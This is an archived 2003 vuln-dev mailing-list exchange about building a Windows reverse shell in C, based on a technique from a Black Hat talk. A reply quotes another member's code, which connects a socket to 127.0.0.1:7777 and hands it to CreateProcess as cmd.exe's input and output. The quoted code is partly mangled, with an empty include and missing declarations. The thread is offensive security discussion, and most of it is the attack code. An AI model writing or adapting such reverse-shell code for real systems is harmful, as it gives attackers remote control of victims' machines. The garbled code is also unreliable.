|
|||||||||||
|
Re[2]: Windows reverse Shell
From: Adik <netninja(at)hotmail.kg>
Date: Wed Feb 05 2003 - 04:03:03 EST Hello 3APA3A, Thnx for ur code. The one i wrote is absolutely the same without bind. Infact we dont need "bind", though David Litchfield mentions it in his Blackhat talk. SO anyway did u try compiling ur code? if not u should try, coz i c the same results,ie i get connection on my netcat, but then it suddenly disconnects. no command prompt. Tuesday, February 4, 2003, 10:34:56 PM, you wrote: 3> Return-Path: <3APA3A@SECURITY.NNOV.RU> 3> X-Sieve: cmu-sieve 2.0 3> Received: from woland.freenet.kg (woland.freenet.kg [212.112.99.34]) 3> by mail.hotmail.kg (Hotmail.KG edition/Version 1.0) with ESMTP id h14GVEb17456 3> for 3> Dear NetNinja, 3> Code below successfully brings reverse shell to 127.0.0.1:7777. 3> #include 3> struct sockaddr_in sin; 3> int size = sizeof(sin);
3> memset(&sin, 0, sizeof(sin));
3> memset(&si, 0, sizeof(si));
3> WSAStartup(MAKEWORD( 1, 1 ), &wd);
3> sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
3> sin.sin_family = AF_INET;
3> bind(sock, (struct sockaddr*)&sin, size);
3> sin.sin_port = htons(7777);
3> sin.sin_addr.s_addr = inet_addr("127.0.0.1");
3> connect(sock, (struct sockaddr*)&sin, size);
3> si.cb = sizeof(si);
3> si.dwFlags = STARTF_USESTDHANDLES;
3> si.hStdInput = si.hStdOutput = si.hStdError = sock;
3> CreateProcess(
3> NULL,
3> "cmd.exe",
3> NULL,
3> NULL,
3> TRUE,
3> 0,
3> 0,
3> NULL,
3> &si,
3> &pi
3> );
3> return 0;
3> }
3> --Monday, February 3, 2003, 10:37:45 PM, you wrote to vuln-dev@securityfocus.com: N>> Hello guys, N>> David Litchfield in his Blackhat talk, talked about using socket handle N>> from WSASocket() and pass that handle as a parameter to stdin, stdout N>> and stderr for CreateProcess function. By doin this way his reverse N>> cmd shellcode becomes much smaller. I tried coding that reverse N>> command shell in C, but couldnt get it to work. It simply connects to N>> my listening netcat listener and then disconnects. David Litchfield N>> used 4 functions to achieva that WSASocket, bind, connect and N>> CreateProcess. A lil help would b appreciated on building this reverse N>> cmd shell. thanx. -- Best regards, Adik mailto:netninja@hotmail.kgReceived on Wed Feb 5 12:26:21 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:38 EDT |
||||||||||
|
|||||||||||